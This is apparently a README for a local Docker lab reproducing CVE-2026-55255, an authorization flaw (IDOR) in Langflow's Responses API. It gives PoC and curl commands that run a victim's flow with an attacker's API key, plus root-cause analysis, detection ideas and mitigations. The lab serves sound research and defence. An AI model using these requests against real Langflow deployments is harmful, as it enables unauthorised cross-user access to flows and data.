
CVE-2026-55255の再現のためのローカルDockerラボ。LangflowのResponses APIにおけるIDOR脆弱性です。リクエストベースのPoCにより、脆弱バージョンとパッチ適用済みバージョンでのクロスユーザーフロー実行を検証します。
/api/v1/responses)このリポジトリには、LangflowのOpenAI互換Responses APIに影響を与える不適切な直接オブジェクト参照 (IDOR) 脆弱性であるCVE-2026-55255を再現および検証するためのローカルDockerラボが含まれています。
Langflowは、AIを活用したエージェントやワークフローを構築・デプロイするためのオープンソースプラットフォームです。脆弱な動作は/api/v1/responsesエンドポイントに影響し、認証された攻撃者が別のユーザーのフローUUIDをmodel値として提供することで、Langflowにその被害者のフローを実行させることができます。
このラボでは、2つのLangflowバージョンを比較します:
| サービス | Langflowバージョン | 目的 | URL |
|---|---|---|---|
| vuln | 1.9.0 | 脆弱性比較対象 | http://localhost:7860 |
| patched | 1.9.1 | 修正済み比較対象 | http://localhost:7861 |
このローカルラボで実証されたHTTP検証パスは次のとおりです:
Authenticated attacker API key
→ POST /api/v1/responses
→ request body sets model to victim-owned flow UUID
→ vulnerable target executes the victim-owned flow
→ patched target returns flow_not_found and does not execute the victim-owned flow
```
脆弱なターゲットでは、攻撃者所有のAPIキーが被害者所有のフローを実行でき、そのレスポンスには被害者のみのマーカーが含まれます:```text
VICTIM_ONLY_CONTEXT_55255_VULN
```
パッチ適用後のターゲットでは、同じクロスユーザーリクエストが被害者マーカーを返さず、OpenAIスタイルのエラーボディを返します:```json
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
```
このラボは、Langflow 1.9.0 と Langflow 1.9.1 を使用して、脆弱バージョンとパッチ適用済みバージョンの HTTP 動作を検証します。
このラボは意図的にローカルの Docker サービスに限定されています。外部システムを標的とせず、資格情報の窃取、データベースのダンプ、破壊的なペイロード、外部コールバック、マルウェア、永続化、またはポストエクスプロイト活動を含みません。
## 検証済みの事実
| 主張 | 証拠 | このラボでの検証方法 |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 は Langflow の `/api/v1/responses` エンドポイントに影響を与えます。 | GitHub Advisory GHSA-qrpv-q767-xqq2 は `/api/v1/responses` の IDOR を説明しています。 | リファレンスセクションを確認し、両方のローカルターゲットに対して PoC を実行してください。 |
| GitHub Advisory は影響を受けるバージョンを `< 1.9.1`、パッチ適用済みバージョンを `1.9.1` としています。 | GitHub Advisory GHSA-qrpv-q767-xqq2。 | `docker-compose.yml` 内の脆弱バージョンとパッチ適用済みターゲットバージョンを比較してください。 |
| 一部の下流の脆弱性情報源は正確な修正バージョンについて一致していません。 | GitHub/GitLab は `1.9.1` を修正済みとしてリストしていますが、一部の下流のインテリジェンスページでは `1.9.2` と記載されていたり、混在した表現が含まれています。 | リファレンスセクションを確認し、テスト済みの 1.9.1 の動作についてはラボの検証に依存してください。 |
| このラボは脆弱な比較対象として Langflow 1.9.0 を使用します。 | `vuln` サービスは `langflowai/langflow:1.9.0` を使用します。 | `docker-compose.yml` を確認し、`docker compose ps` を実行してください。 |
| このラボはパッチ適用済みの比較対象として Langflow 1.9.1 を使用します。 | `patched` サービスは `langflowai/langflow:1.9.1` を使用します。 | `docker-compose.yml` を確認し、`docker compose ps` を実行してください。 |
| Langflow の Responses API は `POST /api/v1/responses` を使用します。 | Langflow のドキュメントは OpenAI 互換の Responses API エンドポイントについて説明しています。 | PoC または手動の curl リクエストを `/api/v1/responses` に対して実行してください。 |
| Langflow の Responses API はフロー ID を `model` 値として受け入れます。 | Langflow のドキュメントは、`model` 値が `flow_id` に置き換えられることを述べています。 | PoC リクエストボディを確認してください。 |
| Langflow API リクエストは `x-api-key` を通じて API キーを必要とします。 | Langflow API ドキュメントは `x-api-key` ヘッダーによる API キー認証について説明しています。 | PoC リクエストヘッダーを確認してください。 |
| PoC はリクエストベースです。 | `poc/validate_idor.py` は HTTP リクエストを送信し、Docker、Docker Compose、シェルコマンド、コンテナ API を呼び出しません。 | `poc/validate_idor.py` を確認してください。 |
| 脆弱なターゲットは、攻撃者が所有する API キーで被害者が所有するフローを実行します。 | 脆弱なレスポンスは `VICTIM_ONLY_CONTEXT_55255_VULN` を返します。 | 脆弱な PoC コマンドを被害者のフロー ID と攻撃者の API キーで実行してください。 |
| パッチ適用済みのターゲットは同じクロスユーザー実行パスをブロックします。 | パッチ適用済みのレスポンスは `error.code = flow_not_found` を返し、被害者マーカーを返しません。 | パッチ適用済みの PoC コマンドを被害者のフロー ID と攻撃者の API キーで実行してください。 |
## 前提と未確定事項
このラボは、脆弱な比較対象として Langflow 1.9.0 を使用します。これは、GitHub Advisory GHSA-qrpv-q767-xqq2 が 1.9.1 より前のバージョンを影響ありと特定しており、ローカルテストで 1.9.0 の脆弱な動作が確認されたためです。
このラボは、パッチ適用済みの比較対象として Langflow 1.9.1 を使用します。これは、GitHub Advisory GHSA-qrpv-q767-xqq2 が 1.9.1 をパッチ適用済みバージョンとしてリストしており、ローカルテストで 1.9.1 がテスト対象のクロスユーザー `/api/v1/responses` 実行パスを `flow_not_found` でブロックすることが確認されたためです。
情報源の間でバージョンの不一致があります。GitHub および GitLab のアドバイザリは 1.9.1 より前のバージョンを影響あり、1.9.1 を修正済みとしてリストしています。一部の下流の脆弱性インテリジェンスページでは 1.9.2 と記載されていたり、修正バージョンに関する表現が混在しています。このリポジトリはその不一致を文書化し、テスト済みの動作を直接検証しています:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
```
このラボでは、攻撃者が既に被害者のフローUUIDを知っていることを前提としています。PoCはフローIDのブルートフォース、フローの列挙、または被害者のフローIDの発見を試みません。
このラボは、観測可能なHTTP動作に焦点を当てています:```text
POST /api/v1/responses
```
このリクエスト形状:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
このラボは、脆弱なターゲットにおける認可されていないクロスユーザーフロー実行と、パッチ適用済みターゲットにおけるブロックされた動作を示しています。
このラボは以下を実証しません:
* フローUUIDのブルートフォース,
* フローIDの列挙,
* 資格情報の窃取,
* データベースのダンプ,
* 実際のLLMプロバイダーAPIキーの使用,
* 実際の本番データへのアクセス,
* 外部コールバック,
* リモートコマンド実行,
* マルウェア,
* 永続化,
* またはラボ外のシステムへの攻撃。
## Root Cause Summary
CVE-2026-55255の根本原因は、Langflowのフロー解決ロジックにおける認可の欠落です。
`/api/v1/responses` エンドポイントは、`model` フィールドを介してフローUUIDを受け入れます。脆弱なバージョンでは、`get_flow_by_id_or_endpoint_name()` 内のUUIDルックアップパスが、解決された `Flow.user_id` が認証されたAPIキーユーザーと一致することを強制せずに、主キーによって `Flow` オブジェクトを直接ロードする可能性がありました。
脆弱な動作は次のように要約できます:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads Flow by UUID
→ resolver does not enforce Flow.user_id == attacker_user.id
→ response endpoint executes the victim-owned flow
→ attacker receives victim flow output
```
パッチ適用後の動作は次のようにまとめられます:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
```
セキュリティ上の問題は、攻撃者が自身のフローを使用して `/api/v1/responses` を呼び出せることではありません。それは想定された動作です。問題は、低権限の認証済みユーザーが、被害者のフロー UUID を指定した場合に、エンドポイントが他のユーザーが所有するフローを実行させられることです。
セキュリティ教訓は以下の通りです:```text
Object lookup by UUID is not authorization.
Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
```
## ソースコード分析
ソースレベルの問題は、Langflow `v1.9.0` と `v1.9.1` を比較することで確認されました。
確認に使用されたソースタグは以下の通りです:
| バージョン | Git コミット |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
関連するヘルパーは:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
```
脆弱なUUIDブランチでは、フローはIDによってロードされました:```python
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
```
セキュリティ関連の欠落したチェックは:```python
flow.user_id == authenticated_user.id
```
その所有者チェックがないと、有効なフローUUIDがあれば、たとえそれが他のユーザーに属していても、`Flow` オブジェクトを解決できた。
パッチ済みバージョンでは、`user_id` の正規化が追加され、UUIDパスに所有者スコープが強制されます。```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
```
重要な動作は:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
```
これが、修正されたラボ応答が返す理由です:```json
{"error":{"code":"flow_not_found"}}
```
被害者が所有するフローの代わりに。
このラボでは、主な脆弱な動作は、`/api/v1/responses` の実行パスが `get_flow_by_id_or_endpoint_name()` に到達し、所有権を強制することなく被害者が所有するフローUUIDを解決することです。
このパッチは関連するフロー実行ルートも強化します。`endpoints.py` では、以前は生のヘルパーをFastAPI依存関係として使用していたルートが次のように変更されました:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
```
認証済みラッパーなどへ:```python
async def get_flow_for_api_key_user(
flow_id_or_name: str,
api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> FlowRead:
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
```
これらのラッパー変更は、他のフロー実行ルート(`/api/v1/run*` など)のための関連する強化です。これらは、ヘルパーが単なるリクエストパラメータに依存するのではなく、認証済みユーザーIDを受け取ることを保証します。このラボで示されるコア修正は、`get_flow_by_id_or_endpoint_name()` 内のリゾルバー側の所有権チェックのままです。
したがって、ソースレベルの修正には2つの関連する部分があります。```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
```
## ソースパッチの概要
Langflow 1.9.1 は、脆弱なフロー解決パスを強化し、クロスユーザー参照を「見つからない」として扱い、関連するフロー実行ルートが認証されたユーザーコンテキストをリゾルバに渡すようにします。
修正されたコアロジックは次のとおりです。```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
```
修正パッチは、フローを解決する必要があるルートに対して、認証済みラッパー依存関係も追加します。```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
```
セキュリティ関連の変更内容は次のとおりです。```text
Before:
flow UUID
→ session.get(Flow, flow_id)
→ Flow object returned without owner scoping
→ downstream execution path can run victim-owned flow
After:
flow UUID
→ session.get(Flow, flow_id)
→ compare Flow.user_id with authenticated user id
→ cross-user result becomes None
→ shared not-found behavior fires
→ victim-owned flow is not executed
```
パッチはまた、情報開示を低減します。クロスユーザーアクセスは、別ユーザーのフローが存在するかどうかを明らかにする可能性のある個別の認可応答を返すのではなく、「見つかりません」として扱われます。
このラボでは、ソースレビューとランタイム検証を分離しています:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
```
## ラボのアーキテクチャ
ラボは、Docker Composeを通じて2つの独立したLangflowターゲットを実行します。```text
.
├── docker-compose.yml
├── poc/
│ └── validate_idor.py
├── seed/
│ ├── Dockerfile
│ └── seed.py
├── src/
│ ├── langflow-1.9.0/
│ └── langflow-1.9.1/
├── state/
│ ├── patched.json
│ ├── patched.ready
│ ├── vuln.json
│ └── vuln.ready
└── README.md
```
`state/` ファイルは、ラボの起動時にシードサービスによって生成されます。`src/` ディレクトリには、ソース差分検証に使用されるチェックアウト済みの Langflow ソースツリーが含まれています。
2つの Langflow サービスは、それぞれ異なるアプリケーションバージョンと、コンテナ内の個別の SQLite データベースを使用します:
| サービス | コンポーネント | バージョン / 役割 |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | 脆弱なターゲットアプリケーション |
| patched | Langflow | パッチ適用済みの比較アプリケーション |
| seed-vuln | Python | ローカルユーザー、APIキー、フローを作成します |
| seed-patched | Python | ローカルユーザー、APIキー、フローを作成します |
デフォルトで公開されているサービス:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
```
| 対象 | Langflowのバージョン | 期待される動作 |
| --------------------- | ----------------: | ----------------- |
| http://localhost:7860 | 1.9.0 | 攻撃者のAPIキーが被害者の所有するフローを実行可能 |
| http://localhost:7861 | 1.9.1 | ユーザ間での被害者フローの実行がブロックされる |
シードサービスは以下の間に自動的に実行される:```bash
docker compose up --build --wait
```
これらは作成する:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
```
シード生成された `state/*.json` ファイルは、API キーやフロー UUID などの使い捨てのローカルテスト値を提供します。
PoC は `state/*.json` を読み取りません。ユーザーはコマンドライン引数でターゲット URL、API キー、フロー ID、およびオプションの期待マーカーを指定します。
ラボは脆弱な `/api/v1/responses` ルートを作成または変更しません。そのルートは Langflow が提供します。
## 要件
* Docker Desktop または Docker Engine
* `--wait` オプション対応の Docker Compose v2
* Python 3
* この README 内の便利なコマンド用の `jq`
* 最初の Docker イメージプル時のインターネット接続
PoC には Python サードパーティパッケージは不要です。PoC は Python 標準ライブラリモジュールのみを使用します。
シードコンテナは内部で Python の `requests` パッケージをインストールします。このパッケージはラボのセットアップ時にシードサービスでのみ使用され、PoC では使用されません。
## クイックスタート
クリーンな状態からラボを起動します:```bash
docker compose down -v --remove-orphans
find state -type f \( -name "*.json" -o -name "*.ready" \) -delete
docker compose up --build --wait
```
サービスの状態を確認:```bash
docker compose ps
```
期待される正常なサービス:```text
cve-2026-55255-vuln
cve-2026-55255-patched
cve-2026-55255-seed-vuln
cve-2026-55255-seed-patched
```
想定される露出ターゲット:```text
http://localhost:7860
http://localhost:7861
```
seed state files を確認してください:```bash
ls -la state
cat state/vuln.json | jq .
cat state/patched.json | jq .
```
期待されるファイル:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
```
脆弱なターゲットに対してリクエストベースの検証を実行します:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
パッチ適用後のターゲットに対してリクエストベースの検証を実行します:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
## PoCの使用方法
PoCは、ターゲットURL、APIキー、フローID、およびオプションの期待マーカーを受け付けます:```bash
python3 poc/validate_idor.py \
--url <target_url> \
--api-key <api_key> \
--flow-id <target_flow_id> \
--expect-marker <expected_output_marker>
```
必須オプション:
| オプション | 意味 |
| ------ | ------- |
| `--url` | LangflowのベースURL |
| `--api-key` | `x-api-key`ヘッダーで使用されるAPIキー |
| `--flow-id` | `model`値として使用されるフローUUID |
任意のオプション:
| オプション | 意味 |
| ------ | ------- |
| `--expect-marker` | ターゲットフローが実行された場合にレスポンスに期待されるマーカー |
PoCはこのHTTPリクエストを送信します:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
```
リクエスト本文:```json
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
PoCはリクエストベースです。Docker、Docker Compose、シェルコマンド、WP-CLI、コンテナAPI、またはLangflowシードAPIを呼び出しません。
このラボでは、`state/*.json`を使用して、使い捨てのローカルAPIキーとフローIDをPoCコマンドにコピーできます。PoC自体はそれらのファイルに依存しません。`state/*.json`内のAPIキーは使い捨てのローカルラボキーです。これらのコマンドで本番のAPIキーを使用しないでください。
## 期待される結果
### 脆弱なターゲット
コマンド:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
```
予想される脆弱なターゲット信号:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7860
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7860/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : True
expected marker : VICTIM_ONLY_CONTEXT_55255_VULN
marker found : True
[BODY]
... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
========================================================================================
[CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned.
FINAL: VULNERABLE_BEHAVIOR_OBSERVED
```
重要な脆弱シグナルは:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
```
### パッチ済みターゲット
コマンド:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
```
期待されるパッチ後のターゲット信号:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
```
重要なパッチ適用済み信号は:```text
attacker API key
+ victim flow UUID
+ no victim marker
+ error.code = flow_not_found
```
### マーカーなしで実行が確認された場合
`--expect-marker` が省略され、ターゲットが完了した Langflow レスポンスを返した場合、PoC は次のように報告します:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
```
これは対象のフローが実行されたことを意味しますが、PoC自体は提供されたフローIDが別のユーザーに属することを証明できません。所有権は、ラボのシードデータ、フローIDのソース、またはその他の権限のある証拠を通じて確認する必要があります。
## 検証の仕組み
バリデーターは、Langflow Responses APIエンドポイントに1回のHTTP POSTリクエストを送信します。```text
/api/v1/responses
```
リクエストは提供されたAPIキーを使用します:```text
x-api-key: <attacker-api-key>
```
リクエストボディは、指定されたフローUUIDを`model`値として使用します。```json
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
```
想定される脆弱な動作:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
```
期待される修正後の動作:```text
request does not execute victim-owned flow
response does not contain victim marker
response indicates flow_not_found
```
このラボでは、Langflow 1.9.1 は `HTTP 200` と OpenAI-style JSON error object を返します:```json
{"error":{"code":"flow_not_found"}}
```
これが、PoCがHTTPトランスポートステータスが404であると仮定するのではなく、JSONエラーコードをチェックする理由です。
PoCは意図的に、クロスユーザーフロー実行条件のみを検証します。フローIDの発見、UUIDのブルートフォース、ユーザーの列挙、シークレットの抽出、または外部サービスのトリガーは試みません。
## curlを使用した手動HTTP再現
ラボシードは使い捨てのローカル値を`state/*.json`に書き込みます。これらのコマンドはそのローカル値を使用してcurlリクエストを構築します。ステートファイルはラボ専用の成果物です。
脆弱性プローブ:```bash
curl -i -sS -X POST \
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
```
期待される脆弱な結果:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
```
パッチ適用済みプローブ:```bash
curl -i -sS -X POST \
"$(jq -r '.public_url' state/patched.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
```
期待されるパッチ適用後の結果:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
```
## 影響
CVE-2026-55255は、マルチユーザーまたはマルチテナントのLangflowデプロイメントにおいてセキュリティ上重要です。これは、1人の認証済みユーザーが、被害者のフローUUIDを知っている場合に、そのユーザーのフローを実行できる可能性があるためです。
実際の影響は、被害者が所有するフローが何を行うかに依存します。
考えられる影響には以下が含まれます:
* 別のユーザーのAIワークフローの不正実行、
* 被害者のフローで処理されたデータの露呈、
* 被害者が所有するプロンプトやワークフロー出力へのアクセス、
* 被害者が所有する統合機能や設定済みコンポーネントの使用、
* 被害者に関連するコンピューティングリソースやAPIリソースの消費、
* ユーザー間またはテナント間の認可境界バイパス、
* フロー出力による情報漏洩。
実際の悪用可能性は、攻撃者が有効な被害者のフローUUIDを入手できるかどうかに依存します。フローUUIDの推測はこのラボの焦点ではなく、PoCはフローIDをブルートフォースしません。
このラボは、安全な認可境界の失敗のみを実証します。```text
attacker API key
+ victim flow UUID
+ victim-only marker returned
```
このラボでは、実際のデータアクセス、実際の機密情報アクセス、LLMプロバイダーキーの悪用、外部コールバック、またはポストエクスプロイテーションは実証されていません。
## 検出と監視
潜在的な指標には、認証されたリクエストが含まれます:```text
POST /api/v1/responses
```
不審なリクエストパターン:```text
x-api-key belongs to user A
model contains flow UUID owned by user B
```
高シグナル検出のアイデア:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
```
Possible application-layer logs or telemetry to review:
* API キーの所有者、
* リクエストパス、
* `model` の値、
* 解決されたフロー ID、
* 解決されたフローの所有者、
* レスポンスのエラーコード、
* `flow_not_found` レスポンス、
* `/api/v1/responses` からの成功した完了レスポンス、
* 異例のクロスユーザーフロー実行試行、
* 多数のフロー UUID に対する繰り返しの試行、
* および低権限ユーザーからの異常に高い API 使用量。
Example vulnerable validation artifact:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
status: completed
error: null
output contains victim-only marker
```
パッチ適用済み検証成果物の例:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
```
推奨される監視アクション:
* APIログで`/api/v1/responses`を確認する。
* APIキーの所有者とリクエストされたフローの所有者を関連付ける。
* ユーザー間のフローUUIDの使用に関するアラートを発する。
* Responses APIに対する`flow_not_found`のバーストを確認する。
* 新しく作成された、または低権限のユーザーによる異常に高いAPI使用状況を確認する。
* フローUUIDが露出している可能性のある公開または共有チャネルを確認する。
* 不正使用が疑われる場合、影響を受けたAPIキーをローテーションする。
* 被害者の所有するフローに、機密性の高いコネクタ、ツール、データソースがないか確認する。
## 緩和策とパッチノート
Langflowを修正済みバージョンにアップグレードする。
GitHub Advisory GHSA-qrpv-q767-xqq2は、CVE-2026-55255に対してLangflow 1.9.1がパッチ済みであると記載しています。一部の下流の脆弱性情報源は1.9.2に言及しているか、修正バージョンに関する文言が混在しています。このラボでは、Langflow 1.9.1がテストした`/api/v1/responses`のユーザー間実行パスを`flow_not_found`でブロックすることを検証しています。本番環境では、ラボの比較バージョンで止まらず、利用可能な最新のLangflowリリースに更新してください。
推奨される緩和手順:
* Langflowを修正済みまたは最新の利用可能なバージョンにアップグレードする。
* インストールされているバージョンが影響範囲に含まれていないことを確認する。
* 可能な場合、Langflowの露出を信頼できるネットワークに制限する。
* APIルートに認証を要求する。
* 悪用が疑われる場合、APIキーを確認してローテーションする。
* フローの所有権と共有設定を確認する。
* ユーザー間の`/api/v1/responses`リクエストがないかログを確認する。
* 不必要にフローUUIDを公開しないようにする。
* リバースプロキシまたはWAFブロックは一時的な対策として扱い、アップグレードの代替としない。
* マルチテナント環境では、APIキーユーザーが自分が所有していないフローを実行できないことをテストする。
セキュリティエンジニアリングの教訓:
* オブジェクトUUIDの秘匿性を認可制御として依存しない。
* 認証されたプリンシパルによってオブジェクト検索をスコープする。
* 解決されたオブジェクトを使用する前に所有権チェックを実施する。
* 認証済みコンテキストが必要な場合、ジェネリックなリゾルバーヘルパーをルート依存関係として直接使用しない。
* 「見つかりません」の応答を慎重に扱い、オブジェクトの存在が漏洩しないようにする。
* ユーザー間のオブジェクトアクセスに対する回帰テストを追加する。
## 安全な境界
このラボは、ローカルでのセキュリティ調査および制御されたデモンストレーションのみを目的としています。
所有していないシステム、またはテストする明示的な許可がないシステムに対して、PoCや手動のcurlリクエストを実行しないでください。
このラボでは、実際の本番環境の認証情報、顧客データ、決済データ、APIキー、LLMプロバイダーキー、データベース認証情報、または本番シークレットを使用しないでください。
対象範囲は、以下のようなローカルのDockerサービスに限定されます:```text
http://localhost:7860
http://localhost:7861
http://127.0.0.1:7860
http://127.0.0.1:7861
```
このPoCは意図的にリクエストベースです。Docker、Docker Compose、シェルコマンド、WP-CLI、またはコンテナAPIを呼び出しません。
ラボには以下のペイロードは含まれていません:
* フローUUIDの総当たり、
* ユーザー列挙、
* 認証情報の窃取、
* データベースのダンプ、
* LLMプロバイダーキーの悪用、
* 任意のコマンド実行、
* マルウェア、
* 永続化、
* 横方向移動、
* 顧客データへのアクセス、
* または外部コールバック。
目標は、管理された環境で1つの特定の技術的条件を実証することです:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
```
## 参考文献
* CVEレコード: CVE-2026-55255
https://www.cve.org/CVERecord?id=CVE-2026-55255
* GitHubアドバイザリ: GHSA-qrpv-q767-xqq2
https://github.com/advisories/GHSA-qrpv-q767-xqq2
* GitLabアドバイザリ: CVE-2026-55255
https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
* Langflowプルリクエスト: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832
https://github.com/langflow-ai/langflow/pull/12832
* Langflow OpenAI Responses API ドキュメント
https://docs.langflow.org/api-openai-responses
* Langflow APIキーと認証のドキュメント
https://docs.langflow.org/api-keys-and-authentication
* Langflow APIリファレンス例
https://docs.langflow.org/api-reference-api-examples
* Langflow GitHubリポジトリ
https://github.com/langflow-ai/langflow
* Langflow Dockerイメージ
https://hub.docker.com/r/langflowai/langflow
* Tenableプラグインノート (GHSA-qrpv-q767-xqq2)
https://www.tenable.com/plugins/container-security/443659
* Mondoo脆弱性インテリジェンス: CVE-2026-55255
https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255